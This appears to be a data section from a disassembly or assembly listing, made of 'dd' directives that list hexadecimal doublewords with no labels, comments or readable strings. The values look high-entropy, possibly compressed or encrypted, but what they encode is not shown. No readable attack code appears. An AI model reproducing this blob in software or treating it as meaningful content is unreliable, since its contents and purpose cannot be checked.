dd 0B4B2E6h, 0B1FAFCB6h, 0EDE95114h, 226C2C01h, 0D7103201h
dd 0A3284283h, 0C00EC53Dh, 0C66A4FBEh, 10F58Fh, 6C3B5F6Fh
dd 0D3CA4019h, 266DF00Eh, 1BDE4053h, 973123h, 0CE30FA1Ah
dd 41EC2119h, 20385600h, 0F8B46BBh, 0EDC600D9h, 0C7F8289Ah
dd 0A400A650h, 0F2E1CABAh, 12E06A04h, 78E8AA2h, 70F61B6Ch
dd 96BE7891h, 1D1626F0h, 0B40156E9h, 22B289EBh, 0FADAA60h
dd 0DFD2BA8Bh, 0FE0276A0h, 0F8099BB3h, 80EE86AFh, 428B0C42h
dd 17B10014h, 0BA3D31A0h, 36E295F3h, 14EDDE24h, 8F5F3C01h
dd 3C34D7C8h, 9BEE00ABh, 91A1D26Ch, 39129C52h, 6901BBA8h
dd 405F2EFh, 0B3E4D0h, 5D2EBCE9h, 2210200Eh, 60F73F00h
dd 2503A273h, 0EB8F0143h, 0B11FE70Dh, 0C081C6F9h, 228A0FF2h
dd 612301F4h, 0CDE2C636h, 525047Fh, 0A245C16Ch, 0DF386011h
dd 7CB807F2h, 24B2E400h, 0FFD1D4EEh, 889D0FD7h, 5C7A28h
dd 611F671Bh, 8907E954h, 0B30AAA6Eh, 75DC4E51h, 2632F5DCh
dd 9744C1E3h, 0B44D070Eh, 0B682D114h, 0F07AE5D2h, 913E6C02h
dd 673F0074h, 2B8BC9BCh, 0F88C00A8h, 0B1CF5EFFh, 1300232Dh
dd 6D337CDDh, 4A358148h, 0E5C4009Eh, 443B63B2h, 0B3BFD517h
dd 525C4600h, 0E89979h, 0D607C3A7h, 4D64D84Ah, 36C47600h
dd 4B9CDA43h, 0F2203CDDh, 0E0169D80h, 0EC708B99h, 318AB400h
dd 0B723CCFh, 47670092h, 0DEC5686Ah, 0D20CB9DAh, 11655A0Dh
dd 22D37881h, 0B1607856h, 0B7367D20h, 0EF508848h, 0EB2C3CE8h
dd 490C4BE1h, 1E91803h, 22244057h, 0F09D2680h, 3F002ABEh
dd 8D67C60Ch, 0FD76D4Bh, 96257399h, 0C0BF1E9Eh, 22587FEDh
dd 0B492E3FCh, 83B86900h, 5E81D028h, 52D0F91Fh, 0AEFF1524h
dd 0CB0C94ECh, 7330C5F3h, 3128C860h, 1AC23Bh, 0BF90662Ah
dd 14ACFD67h, 0D00CC902h, 0F5E02FDAh, 0BDC59C0h, 80A7693Dh
dd 0F7E6E8EEh, 3655759h, 891AF5Ch, 80BF7353h, 0BA966AFCh
dd 97D74D07h, 91D3EE98h, 0D468C04Eh, 50230065h, 0F5768F42h
dd 3D7BE0AFh, 8A4EA600h, 0C7AA22AEh, 957D03E7h, 65C1CBF8h
dd 5D631DEAh, 8BDE2D88h, 0BAE83076h, 0DC5738h, 2A6BD087h
dd 303B64C9h, 8EE8C7BCh, 57002354h, 0E4A8654Ah, 0E842B522h
dd 0D084AB9Dh, 2C9C2DECh, 0BECC2892h, 8FAA4B00h, 4A44EFE1h
dd 97E01000h, 8373A9D7h, 0EE313057h, 0FC29BE29h, 77D3E00h
dd 6F62F521h, 9CB9E823h
dd 518B0310h, 0D49896FCh, 6BE69C1Eh, 0A172170Ch, 26D5088h
dd 51C6F9E2h, 10A23AECh, 0D008B249h, 834AC69Fh, 60403C52h
dd 0D17D4BFCh, 9EC33C70h, 0CA88FC48h, 84A8CBDCh, 0C50485E9h
dd 0ECA9D5FAh, 38A64D83h, 0F8104970h, 3E067C91h, 69A77D7Ah
dd 83781818h, 25EDF9D5h, 105C7037h, 43CFC3C0h, 1A8D3E76h
dd 0FE00D358h, 0BABC5FDCh, 4F00E235h, 324A3969h, 0B6A51h
dd 0ADE69CB1h, 4E56A4CEh, 9287F500h, 8B6FAC57h, 0ABE0C09Dh
dd 7D1F9C27h, 3F97F81Eh, 0C806817Eh, 767A3A56h, 54CA2D0h
dd 1A0F33A4h, 7594C0F0h, 0E900D6A7h, 8844E4CBh, 1CCE97h
dd 0E74A70DAh, 722174FFh, 0FCF63D1Dh, 957004ABh, 448D072h
dd 4327CAF1h, 87F62DCh, 712CE210h, 0CF3CC19Fh, 2F60B0Ch
dd 141C84A3h, 685AC903h, 491D62D1h, 0FC188020h, 0CF758D20h
dd 68A20CCDh, 2C986E11h, 5850A1D9h, 68101841h, 0ADEA4C41h
dd 0F6150986h, 0A1281927h, 8B6D1C6Fh, 0B6311089h, 2850B2F2h
dd 23426010h, 40888F7h, 0E2EA27C1h, 448CF094h, 0CCC9CC72h
dd 1CA61009h, 94F2A306h, 28089573h, 510C15EBh, 0A6F214CBh
dd 2380154Ch, 10340AF4h, 6BA85060h, 45830021h, 6DB54CFEh
dd 0C501D7D1h, 393FBEA6h, 0CED0129Ch, 60CE8B7h, 4D55EA14h
dd 108209CFh, 187C041Dh, 10E80B1Ch, 0CA04D3Dh, 600B95Eh
dd 0FA2AC1AFh, 0A54B66Ch, 0E2F3D7FDh, 71DA0020h, 3B9434Bh
dd 193C7630h, 665E9016h, 51EE38BFh, 359BEB18h, 30518E20h
dd 0C48DAD5h, 9F727686h, 0A9250609h, 181813Eh, 388010D5h
dd 800FA81Bh, 10C00CC2h, 7B456CB1h, 0AAEC0699h, 69581D36h
dd 0E776870Ch, 984875h, 0B709D5Bh, 0B1CA6209h, 0BF0CC31Dh
dd 183D0F20h, 0B7209D3Ch, 3E3FED36h, 30239024h, 0CE8CAC9Eh
dd 3CCD0896h, 0CC03AEC2h, 38F3EB99h, 0B548C063h, 0B6083A13h
dd 0AC94B900h, 3FA488EFh, 3E7E8003h, 0A01B3CB3h, 14A0Ah
dd 1CEE7F68h, 690604A1h, 8C28613Ch, 0D90884F1h, 0CC770E9Ch
dd 8C743E19h, 0EFA4A50Ch, 1D00F8E9h, 984D2D04h, 0C0F27127h
dd 8D790189h, 3901F01Bh, 3B0C1F16h, 32F593B7h, 2A852888h
dd 694630Fh, 2811306Eh, 1E8849BFh, 37AE601Ch, 0FE956038h
dd 2D18BA2Ah, 1030341Eh, 0E1308339h, 15B508F1h, 0D0BF4982h
dd 146EAA05h, 191CC03Fh, 0DA488CFBh, 10B52804h, 0B01B3628h
dd 0B628D18h, 50CFA6A1h, 0A0C0B099h, 0C03AD8ACh, 34AE7030h
dd 0CF00E50Bh, 0A11A50F1h, 28763C33h, 85940FE0h, 0B41031A8h
dd 0EF068EDAh, 8CD0C211h, 0F638494Bh, 731C9450h, 0FCE014B5h
dd 0E6A2B890h, 5FF433h, 984974AEh, 0BF3EABB2h, 506A0015h
dd 4D515C31h, 0BE130127h, 74B43DB8h, 4220201Fh, 78094C40h
dd 0EEA4A05Eh, 7F270037h, 0A56CFE4h, 0B4003243h, 8BBF349Ch
dd 192B1D6Ah, 0C824521Ch, 10E9EFC7h, 0C391D403h, 0E382B104h
dd 5091E91Bh, 0CB014ACEh, 1586300Fh, 271C8C0h, 0C20D5276h
dd 1736B9D8h, 0E9D8B8AEh, 0CF747E92h, 0E3770512h, 70D8D050h
dd 4EB8F91Ch, 8C93F70Ah, 80D28250h, 7BEE6DCFh, 0C814883h
dd 812C011Ah, 2A0D1C82h, 22891841h, 8B558430h, 884114D4h
dd 4D251136h, 1CC4C42h, 430FFB76h, 0F12A1060h, 503E493h
dd 80EAFCD5h, 7AEE086h, 0FAB802F1h, 0DCDBFEBh, 87283841h
dd 665A1D9h, 0C33395A2h, 0ACB14173h, 69C62998h, 82E03DA1h
dd 0CFB91CA0h, 60152890h, 7580C01h, 0F245C235h, 908F9082h
dd 480A2E48h, 7F00B44Eh, 44AED2A5h, 3D31B20Dh, 0CFF8005h
dd 3AB020B3h, 1AC09CE0h, 13616012h, 81B3B800h, 64F8CF9Bh
dd 405478BEh, 2B8C131Bh, 7190608Fh, 328DB8BCh, 68346E28h
dd 0B0C1492Ah, 88C456F9h, 11CE350Ah, 6880E4EFh, 2CA8914Ch
dd 3DB0030Ah, 0C2AE7354h, 0EDB6B8B8h, 1F78EB12h, 0EE773805h
dd 67E18C43h, 1030C202h, 98F8EBFCh, 1DE8B718h, 691A581h
dd 1FF9EFB5h, 0AE3AB90Dh, 3D69E2Ch, 103B360Ch, 65CC010Ah
dd 28777B12h, 0C899AA71h, 8A0C667Ch, 108935BFh, 0D1600E7h
dd 2437B1E1h, 0F250CCA1h, 98A8148Ch, 6F3F7717h, 0B84A007Dh
dd 0C7E9C0BEh, 77F4B136h, 24F837C1h, 48FF50C4h, 81091C2Eh
dd 0F400B36Fh, 0C3D5AE11h, 5CBB71Fh, 82EC9B80h, 0C188F0Dh
dd 0B16D920Ch, 0D4444229h, 997720CEh, 0AC114142h, 28B628AAh
dd 29725A32h, 0C04E1045h, 3E080A89h, 88B97D44h, 763F4AD2h
dd 9B5D1EE4h, 6208EEC0h, 75AE8BDh, 0A2DBD446h, 0B5E7702Ch
dd 0B0001D2Eh, 441159F0h, 7FBFF8Ch, 0F9FEA348h, 0EA058047h
dd 22006706h, 3DA8EBB2h, 4B98017h, 2E3F1356h, 236380C6h
dd 27F89F20h, 8C815D00h, 60D196F5h, 57090047h, 0B5AFE7A7h
dd 0FF00F2C9h, 941CCDB3h, 0E6857Dh, 0D14724B6h, 0FC66C291h
dd 0CF7BBD1Eh, 0C9C0C8DCh, 471F8EC6h, 64B30026h, 957821DDh
dd 431C6549h, 0F60051E4h, 271EEBC0h, 0BF470018h, 0A33E8FFEh
dd 50F4BE30h, 46551B01h, 2BE8CD6Ah, 0DE08C0h, 0A105DC6Eh
dd 9E818B14h, 0CC46E300h, 8184D09h, 19DA13D4h, 0A8B84031h
dd 3A8127C4h, 222A9707h, 40F0C9C2h, 4CCE178h, 3371932Eh
dd 4A1CC0FAh, 301DC50h, 0FF6558F4h, 0B4E06187h, 297C003Dh
dd 0BD0DAAEh, 20057DEh, 0C39DB1D4h, 5CEB9F39h, 30012047h
dd 0DAE9DBFCh, 9F8771C1h, 0CE407480h, 3260D591h, 4CB13E85h
dd 65E24487h, 154F50E0h, 0F070523h, 99ADEB62h, 0FDC9B800h
dd 0B67C00A9h, 0DF54C26Ch, 0AB0169C7h, 426AAD17h, 0A1D4B460h
dd 0EDB00002h, 905BCFA2h, 0BB00940Dh, 2EEC3738h, 0EC64B151h
dd 0E6303C8h, 8EC4049Dh, 85F92003h, 0A8BC7D73h, 0F5CBC5h
dd 0BE3FE655h, 2F3EA075h, 98350F00h, 0AA8882A5h, 1AD7BCAh
dd 0F161F459h, 25F6D334h, 7E088048h, 0FB8C41B9h, 315609C7h
dd 0BC073206h, 669AB0B6h, 0C31E50B8h, 0C200B769h, 0ABA0C1C8h
dd 51E60775h, 0C00C77AAh, 44C5D713h, 9B7BB1E8h, 3F7E0817h
dd 0F04768E0h, 8324000Bh, 38DB4501h, 0B9A0D8E6h, 1E009431h
dd 0E391C993h, 3B1633ADh, 90002B0Ah, 0B99618F3h, 6600F881h
dd 2D38B0FAh, 0C5352Eh, 0A8ECBCA6h, 0ED2F5818h, 662C0C00h
dd 331D2901h, 20234DA9h, 10481300h, 891FEAA0h, 456B7B03h
dd 0E0277111h, 171C2D6Ch, 0A0BEC9BBh, 8600D4E9h, 40A15018h
dd 1624F6h, 327CA7FCh, 9546705h, 5E3B651Dh, 98F69C00h
dd 3D83D788h, 0D10F6BF7h, 6979A636h, 98A07EB4h, 0D6760724h
dd 0B0A9826Dh, 98504B9Fh, 7004CB00h, 963ACCCDh, 5BAD00B5h
dd 0E7C6170Ah, 46000C37h, 0B6D64D2Bh, 1F57BBCAh, 7909621Bh
dd 5CFC1200h, 5E8394A2h, 0CD969C00h, 0BEC37636h, 0F9FE78h
dd 0E9563380h, 2BA1E241h, 3ED79200h, 42EAE19Dh, 0E7BE0F54h
dd 80A06685h, 337D8235h, 7CF2F500h, 604C36A1h, 0B5840958h
dd 0C080ED89h, 9B28A25Bh, 53871F00h, 56722086h, 90D300A7h
dd 1B0FD2Ah, 0D200F3ECh, 0D54103DBh, 4ADD6Fh, 52FF72EBh
dd 58DA3D26h, 1701FB00h, 2E1A67F3h, 36DC0053h, 193B8FF0h
dd 0D4A026D7h, 76120602h, 0A500A68Ch, 7CFC18E3h, 4A1B0009h
dd 542EE12Ch, 0D1C81CBh, 97808D83h, 199ED55h, 0CC0B0019h
dd 2C6E9428h, 0B45C264Fh, 0E77A00FBh, 50535FD2h, 0B7730Ah
dd 2CB2790Dh, 0EBC9F288h, 380048F6h, 65838166h, 9BFD09h
dd 0D73BE3B1h, 0F2DC67ECh, 330685Ch, 0B8128C5Fh, 35190036h
dd 1B9072B5h, 98796EF0h
dd 0C600387Ah, 7F88B101h, 1DD95A18h, 0C0D5C875h, 11D6F202h
dd 0D700D4D8h, 0E8F51415h, 26ECB3E4h, 151EA08h, 3FABEBDFh
dd 46C4FC7Fh, 0DA53ED00h, 0BC4B5589h, 747803BDh, 0C61CDBE8h
dd 31BEDF90h, 70BCD00h, 2D7E15D5h, 416239E5h, 13811678h
dd 0C2121E74h, 2E06B734h, 274CCF60h, 8065043Eh, 4837183Eh
dd 4AA012Dh, 7D5D9640h, 0CF7CE0BEh, 900CDE00h, 8A27DB5Bh
dd 484496Ch, 0F0641Fh, 0EB589469h, 48F4B966h, 0F38C3100h
dd 0F595D75Eh, 94CA0C71h, 0BB107506h, 4E73EB00h, 2ADC5293h
dd 0EEA07232h, 1C8A4C9Fh, 8CB04300h, 19E2C359h, 0D3D02C00h
dd 9E895081h, 0F90248E4h, 4C2D6A00h, 0A27F49Fh, 0AEDBB800h
dd 11E5A522h, 98A93DF9h, 87E60E8Fh, 46C3D660h, 8B7A58CFh
dd 9907F4B8h, 0AF4ADE47h, 9A1583C0h, 260A002Dh, 0FC72E2EBh
dd 973CEAFFh, 999D0082h, 1D55D63h, 31410037h, 0CC526266h
dd 5C783D64h, 1F2F2470h, 2747C3Eh, 3003A6D0h, 63955C68h
dd 7BDFC400h, 0FCA166CCh, 40B0F9h, 0EDFF34F7h, 0BE5CCF32h
dd 82732C03h, 0E872531Ch, 0D62079h, 8E45EEF9h, 4995C4Fh
dd 0EBB42C03h, 83E87052h, 0C7110743h, 0B0A4A0ADh, 41DAE082h
dd 942459h, 0D0AA25F4h, 511BFEh, 2833723h, 0FF297147h
dd 0A5B40B01h, 6A25724Bh, 739FF0h, 0F2567F85h, 0A23A6880h
dd 8976AD39h, 80B399A1h, 0AEBA8B8Ch, 0D6E60233h, 0E8C439D2h
dd 0B212B850h, 0ACC00BEAh, 4960BD66h, 0C700D816h, 0F5EE501Dh
dd 0E801B2CCh, 75B1A98Eh, 208E4D68h, 7D40AB61h, 6DAF7963h
dd 0BE9DB600h, 3B8A6C1Bh, 0F2B90160h, 0D650486Ah, 313FE885h
dd 0E0E4A82Eh, 728CC400h, 5C8AAF9h, 6587294Bh, 97D580D8h
dd 0A900A160h, 9E0B2656h, 75D4EBh, 42F464ECh, 0DB1B421h
dd 0E206600h, 0AA95AC85h, 0A4050A4Ch, 0F03024h, 81BC8CD7h
dd 0E5008764h, 767F7932h, 259E8CCh, 29182BB5h, 57406BC0h
dd 6E98F80Fh, 108F9F14h, 0C2890288h, 60D3DDCEh, 0D6AF0Ah
dd 0EFB87A60h, 0E00A9E12h, 0DF0FCBAh, 0B931473Eh, 4C498008h
dd 0B0EE5564h, 115032FBh, 85605B10h, 3090203Fh, 0AF948000h
dd 0A68ABD9h, 0A860C0D0h, 66296BA9h, 0C86D3Ah, 0D150574Eh
dd 73D3A9Dh, 0CC7AC98Eh, 97C01002h, 10603CA2h, 3AD32DA9h
dd 66110076h, 0D1137F21h, 1B0F9206h, 2CA68ABBh, 0F230864h
dd 0F90BEB56h, 8D07ED80h, 0DC07F1C7h, 0B7B462E1h, 5E905757h
dd 0C228B68Bh, 0AD2574A8h, 2E8EB720h, 8FB80169h, 94CF3FC9h
dd 0DB0C30D8h, 0A5584271h, 0F3FF00A1h, 120BF82Dh, 6D3001A9h
dd 0D046FCC2h, 2C74C8B1h, 0A7006C92h, 0BE7FB725h, 75FBA7Ah
dd 6402ABFAh, 92801E41h, 54961B5Ch, 1FE0D100h, 0EBC3ED19h
dd 7D3606C5h, 10EE28AAh, 0D9BA2101h, 8509A17Eh, 0BC6EC4h
dd 50DC6CFBh, 3645B77Ch, 0C8CCF301h, 42E2B7Eh, 0F011038h
dd 1D639276h, 49888048h, 0AE621C60h, 30FD00D6h, 960197D8h
dd 0D21DE6B4h, 351E53EFh, 682AB640h, 33E8ACh, 0E1778528h
dd 2F4C92D6h, 96001073h, 0BFB318CBh, 62E3BA5Ch, 31807003h
dd 0D82E6852h, 0AF2618CFh, 0A4964300h, 3114934h, 0AB406AD0h
dd 9FC2AFh, 0BB247FC7h, 74A82216h, 49275B00h, 392BF338h
dd 8A01D3B7h, 0E3C8CF7Dh, 30EBE5BCh, 87005284h, 694CA026h
dd 735788F1h, 7E5C3AA8h, 0EC2B9F80h, 0ADD0359Ch, 4700F078h
dd 3099FC15h, 5B6318h, 2E59F223h, 60A1EA19h, 586D3C01h
dd 122C79Fh, 0E521AE4h, 9CEBAF4Bh, 0EFD3DA05h, 66BB3700h
dd 0E916C7Ah, 853BFB89h, 0E18E3860h, 0E5007745h, 5D97B8DCh
dd 46F41Fh, 1865DD8Bh, 3BD50987h, 0CCB4DB00h, 0A54EF906h
dd 0FF3100B2h, 57A0C37Ah, 20005BF6h, 8FB3EEA6h, 0AA211Fh
dd 0F5F98099h, 350FBBACh, 2DB4F401h, 967A2E6Eh, 939FD4h
dd 6644C1A2h, 0D3CB8E3Bh, 1ED64C0Fh, 886D00FAh, 0DCE468h
dd 0CD5125AAh, 0A8A29608h, 0E4B2F02Eh, 35BAE600h, 0FA159F0Ch
dd 0AD05007Dh, 1C19B6F3h, 6E98B790h, 0AFEED900h, 0B97D408Ch
dd 96F80042h, 56BA947Ah, 10005909h, 0A4A33679h, 3D4236Eh
dd 0B25679Fh, 0B5939BDEh, 43EDD180h, 11798900h, 75566841h
dd 7B740F80h, 530048E8h, 3140BD2Eh, 1EDCF00h, 0B7CE4698h
dd 0E6A53914h, 736A81D0h, 8AEF0005h, 2D5E71EBh, 0A700AC1Ah
dd 0E0125B60h, 824793h, 35EDFDE9h, 5E21341Bh, 16969A00h
dd 0F6DCF717h, 60E29Dh, 5CD7A211h, 0C8A413C6h, 281C5A7Eh
dd 3E4044D6h, 98157BBCh, 8563009Dh, 0F3192959h, 9F0017DCh
dd 6896EC08h, 6034D0A8h, 0E3395913h, 41008EB8h, 0C0802F7Eh
dd 1F3C7Ah, 0B33ECB42h, 14EE1C2Bh, 0CF55C300h, 0A44756E5h
dd 812E00D8h, 5E33537Dh, 0BE0015ECh, 0C93B0183h, 0EFAA907h
dd 0A0D49FB2h, 47438E00h, 3E00D7C5h, 0E7FEC64Fh, 924DAEh
dd 62B3B63Fh, 17FB0D34h, 70200700h, 2E509658h, 6DC90099h
dd 388E719Dh, 1F008423h, 0F2ECD5B6h, 7250E37Ah, 5DA407FFh
dd 0A0CAC5A9h, 0E72CE6F8h, 5406D403h, 0F178FBA5h, 218E9620h
dd 49C7D3F9h, 0FDC1C0BAh, 0B0004EDAh, 0C8515DC3h, 7B1173AEh
dd 12FE08Bh, 99137845h, 0D8F2CB55h, 8801C558h, 0F1E8A4D7h
dd 39606CF5h, 0A9FEF4h, 9C256961h, 76C3E21Fh, 0C066F600h
dd 0BE8B12C4h, 921300C7h, 9310C8B5h, 6901AF46h, 0C2942A7Fh
dd 81408D62h, 1CEB25Eh, 0B9D677C3h, 0D19F7D5Bh, 0DA087054h
dd 44277F00h, 0F2AFF7F9h, 71EA7FE9h, 0BED807E3h, 4039DED1h
dd 54C00578h, 850FA600h, 55E0712Dh, 0F9E095AAh, 8019A27h
dd 6BE1C7Eh, 3ED40BF6h, 0B9500117h, 0EBDF44DAh, 672ADCD2h
dd 0A97FA703h, 0F8130DFCh, 0C115CA6h, 0FB636898h, 4F0E6FD8h
dd 0E03B2977h, 43BB305Eh, 0C36C0011h, 0F2010F24h, 0ED1C233Fh
dd 664116E2h, 0A6A11AFAh, 0F5C3EF4h, 0C18F77Fh, 368F4A66h
dd 0E790BC0Fh, 18F4BE9Fh, 0A8D59C80h, 0D42A1CECh, 0DAA103F1h
dd 0FFE8A558h, 0AC00E295h, 9FC72907h, 0C53B0Ch, 8C32AEFh
dd 729CBA7Fh, 63E0A403h, 0C0D35DB8h, 414B95h, 0DB65754h
dd 0CB71CFD0h, 8CEAC30h, 0FD12C9h, 8D31EF4h, 0F295DEB8h
dd 47661C00h, 6B327BCCh, 4F5AC1FBh, 0DDB6D1F8h, 0E48CF0B4h
dd 0C075610Fh, 0E576208Ah, 0E83A4604h, 49A900EDh, 4EA2F14Fh
dd 0A00ED595h, 0EFFD424Ah, 2FFE4355h, 37A8E0B2h, 8C4901AEh
dd 8FA6B368h, 9210806Fh, 63AF43Eh, 2CA91C6Ch, 0E4E8CEh
dd 76250E41h, 79FCDC71h, 0EFDF6E00h, 0A8BB040Fh, 68BF0E4Fh
dd 540B314h, 669C6415h, 7FF63Eh, 7E2D484Ah, 4C1E9521h
dd 0FA009A51h, 0A816E5A4h, 4700993Eh, 0A09E8603h, 0E511589h
dd 100B8529h, 3440439Eh, 91CBEC84h, 0FE751100h, 0F8590DABh
dd 10E509EDh, 1000CD55h, 0D358685Dh, 0F46AC538h, 878FD73Dh
dd 1D8836E3h, 9EDE2E50h, 4AC600E8h, 0EF98A037h, 0BE00119Ch
dd 0D927843Ch, 0FF1B813h, 31D768EAh, 12F8A745h, 619A03DCh
dd 0E0C7C6BDh, 409CF5B9h, 0CC9F5A00h, 0E8FC5586h, 2F850027h
dd 2C716D63h, 0A00ED4Fh, 47D961C8h, 1FF15B32h, 8027B9E1h
dd 74445D82h, 0D1016EAFh, 0CCA8C32Fh, 48C0FBCBh, 206803EEh
dd 852BB29Bh, 4E1898A8h, 7BA73707h, 0E9C0FEh, 0D8F48A84h
dd 0DAE00030h, 0C9CF01C4h, 4100D2F5h, 3BADF8EDh, 61E147h
dd 0B2137D2Fh, 0C159321h, 3B61B00h, 368B10C2h, 0B327056Dh
dd 0C0429233h, 63294547h
dd 805D8F3Fh, 0A754EBFBh, 7C9B85Ch, 4AE83E2Eh, 90E5C08Ch
dd 0DE0AAD0Bh, 181C287Eh, 0A0205990h, 3AE888F4h, 9234B700h
dd 0B87EB1E6h, 0B0E0E593h, 570F0C0Ah, 0B97869C3h, 0E641DF04h
dd 0F491A7ABh, 48BA7619h, 373B4880h, 5363E27Bh, 0A6285100h
dd 5DD3479Bh, 7698010Dh, 0B5A7754Bh, 36CBE8C7h, 29384600h
dd 5B662425h, 0F4BD002Fh, 20E4AEA7h, 0DE0AB107h, 5C602862h
dd 80207590h, 3D9F3B3Ah, 69501B31h, 59460020h, 9CA57164h
dd 7900A4D9h, 8037D6F5h, 0F8096C38h, 22941F33h, 512080C3h
dd 0D62BABAAh, 77A7D700h, 8AF1B417h, 0F5C3EB3h, 7EAC780h
dd 0DE9891CFh, 0A568EB0Fh, 70FA74F2h, 4900DD75h, 0D17C4F08h
dd 709C3Dh, 6076D00Fh, 5ED50EF1h, 0C33D13FAh, 68CD97DFh
dd 3C068600h, 41288h, 3402211h, 61BC0B9Eh, 82E5EF1Ch, 0B4315AC0h
dd 2EBF89F0h, 44135Eh, 79B62FE3h, 0DD1D5F7Bh, 88455BCDh
dd 47BBC11h, 11B85518h, 0B1286784h, 963EBC71h, 0EA8300D8h
dd 0FA37865Ah, 0B66301E4h, 5EA62994h, 0F088F112h, 239F3E0h
dd 9EAC05B1h, 2C0036C7h, 40BEDD21h, 8E50C476h, 995C20C1h
dd 299C606Ch, 582BD003h, 6A3D80A0h, 0B0154900h, 1051A9EBh
dd 7A943F91h, 0ABCC283h, 61141D36h, 1060BD49h, 4E038A22h
dd 78FC394Ah, 14D61801h, 46F95A1Eh, 538AEBF8h, 3010707Bh
dd 0E150008Dh, 4B4F3CCBh, 9F3F181Eh, 59C0E8BCh, 7F68680h
dd 0B45B3EFAh, 995F018Eh, 4F20DE6Dh, 0FFECD3BBh, 3F4C4Ch
dd 5AE60FB8h, 0D9128B61h, 2CBC6240h, 21C574D8h, 1F4B0194h
dd 8349CA6Ah, 5EE035A8h, 18387CE3h, 184BA992h, 6F20984Fh
dd 540390F3h, 0CD694A5h, 0BF36DA78h, 0D5019C51h, 0EF34AC74h
dd 0D270EA17h, 0A8E4E816h, 0CAFE8Ch, 0FDD81574h, 0A9F7BFAh
dd 81083148h, 0B704C098h, 37A28C40h, 0FC4B50E2h, 40F96FEDh
dd 0D3EC5BA1h, 0F131800Eh, 99C39F24h, 37FC7FFFh, 6A088490h
dd 2CD08088h, 0DBF1E49Fh, 50029200h, 0EBE560D9h, 0A7B445Ah
dd 51193331h, 0A9BAB538h, 9D0B03FCh, 0E99318C0h, 0B9677AD8h
dd 0B6624706h, 29EE39h, 0AEC0B48Ah, 950815BCh, 3700997Dh
dd 7AC13182h, 30F26C22h, 0F61EBD2h, 840029E5h, 48F3344Bh
dd 5430257Dh, 8CC1A4B3h, 0A374DA04h, 0EF62F734h, 74F39B20h
dd 7A8400B7h, 1025EABh, 31DCBB1h, 0C9C48BE5h, 86009EE4h
dd 0BA683748h, 91B47A1Eh, 45808B80h, 31032C3h, 0D348560h
dd 0B0BF3018h, 94F86315h, 82FAB417h, 0CCA04900h, 76C4B21Ah
dd 9F8A00DDh, 30DEFFCDh, 6300B3E1h, 5E7751DFh, 792D39h
dd 0B1433103h, 3B69E9D0h, 0EFDA2801h, 18E39A90h, 0E7C2F0h
dd 5EE4ED9h, 0FCCC502Ch, 0F7721300h, 0ADA50BF4h, 93190010h
dd 0F5AF392Dh, 7500DE5Ah, 5D59CAE8h, 102C72Ch, 84AA6BA0h
dd 0F0C95026h, 18C0273Dh, 0FDAF93F6h, 132A02A4h, 47F23B03h
dd 0AACB46E0h, 0ABC9F000h, 0D5196D86h, 0E7D7032h, 0FB839F3Dh
dd 21FCAA83h, 801907Ch, 0F540B2A3h, 19801C73h, 0DFDEBC37h
dd 97207D8h, 2FEC700h, 5E0E8839h, 4241005Bh, 1DF5E482h
dd 10069F4Bh, 0A9522535h, 453D1878h, 7DA56102h, 0A06DBF30h
dd 9ADDA1h, 2EC41129h, 0ABCEE5B6h, 9B8C2554h, 8200AA7Bh
dd 3D40EEECh, 0F65CF2h, 1042A1AFh, 0CE2A33B4h, 2CA08100h
dd 0D32218FEh, 0BAB1C0C3h, 0CE97BD57h, 6158300h, 4CD28666h
dd 637100D9h, 30946D69h, 8900055Ch, 7A0B8F84h, 755EB7h
dd 0D9D1D656h, 12DA8A3Ah, 1AFD4C00h, 92B59CD3h, 40610005h
dd 1E8C90D6h, 88265049h, 0B07488Ah, 5FE19874h, 25F8BEAFh
dd 3A29007Fh, 0E96CC439h, 957944FEh, 1B714D00h, 49368D08h
dd 0E0565A5Dh, 541E6605h, 3B6864h, 0D1152CE1h, 63FFC5h
dd 16FC469Eh, 31F4F649h, 76EFD300h, 505614DFh, 0E4880087h
dd 724A645Ah, 4D00F869h, 8A24CCD7h, 0B85F1A7Ah, 18D10012h
dd 4C382040h, 97752775h, 0A2BA4A00h, 90F046DFh, 0EB9F0065h
dd 0C57A1142h, 69F852C6h, 0F653C700h, 255CE06h, 3122000Fh
dd 45ED8CA1h, 60F8BFFAh, 66098400h, 7E7A70BEh, 8B720058h
dd 9715488Ch, 0F9008AC4h, 1FD8CF28h, 19BDC906h, 2879985Fh
dd 0ED7F0887h, 6E10E412h, 8351C85Eh, 0FE6ADE41h, 0CC101002h
dd 0DF29C867h, 88583047h, 44883C5Ch, 84DB9069h, 915C92AFh
dd 64A92819h, 0AA19D742h, 9342990h, 532882E6h, 757F228Dh
dd 3C02A025h, 67A14EFh, 2B00292Fh, 50535BBCh, 0D87BE0h
dd 3F8FBF51h, 2368B554h, 8C4CA01Dh, 80D05C0Fh, 894A2536h
dd 0BE31003Dh, 59340884h, 1000CDDh, 0C89EAB4Eh, 0D3627h
dd 60545ECBh, 6FD46AF2h, 229DF100h, 944F059Bh, 0D235002Ch
dd 38680F09h, 2D00EABDh, 0B34AAAAEh, 38C96654h, 238032ACh
dd 0B9E85C42h, 3600CBBBh, 0D0B0AB4Ch, 58051550h, 0EA00EE29h
dd 0DCC59B1Bh, 4458B266h, 954004Bh, 2E782916h, 0DEA61h
dd 226AA399h, 0CBF598A4h, 0A89DB800h, 56776D88h, 2E063D14h
dd 100973Eh, 852F9057h, 6200385Fh, 0ABB1B743h, 1165D5h
dd 54D2CBA4h, 0F4B5C87Bh, 958D5103h, 40D6Ch, 0E09DC518h
dd 0A4F94B1Ch, 0CE6064B0h, 8FFEB561h, 26230797h, 108B1379h
dd 0F3FA647h, 95434C00h, 8698F7DCh, 884B3A56h, 14009B3Eh
dd 0BBDF3EFEh, 7C0FF920h, 4FE5AF57h, 0A6128352h, 2C1B98D7h
dd 9B0100E8h, 0E406F6Ch, 918C4AAh, 0A2106E35h, 49802C88h
dd 173F0068h, 2DC23191h, 0D40F42EAh, 46BA321Dh, 38415E11h
dd 1806B07h, 6EA076B7h, 19003543h, 309C58CFh, 95638Eh
dd 64F0ED0Dh, 0E8B23E47h, 0C45A2A05h, 0EA80AAC0h, 7E3E00Ch
dd 8DC5835Dh, 0D543087h, 5B00F2D8h, 822DF9CCh, 0E8A780h
dd 0E0495883h, 5AF8481h, 28EF1030h, 0C0CAE16h, 30639EADh
dd 3F008A70h, 55B6DCE0h, 7B2C29h, 84978D1Eh, 4E30A83Ah
dd 33C1D400h, 4CACB41h, 0D5C80094h, 0F1A4DE37h, 0DB3C2603h
dd 0F7B902F9h, 0E08B1418h, 627E05Ah, 0D2FB0BECh, 0AF0B8EDh
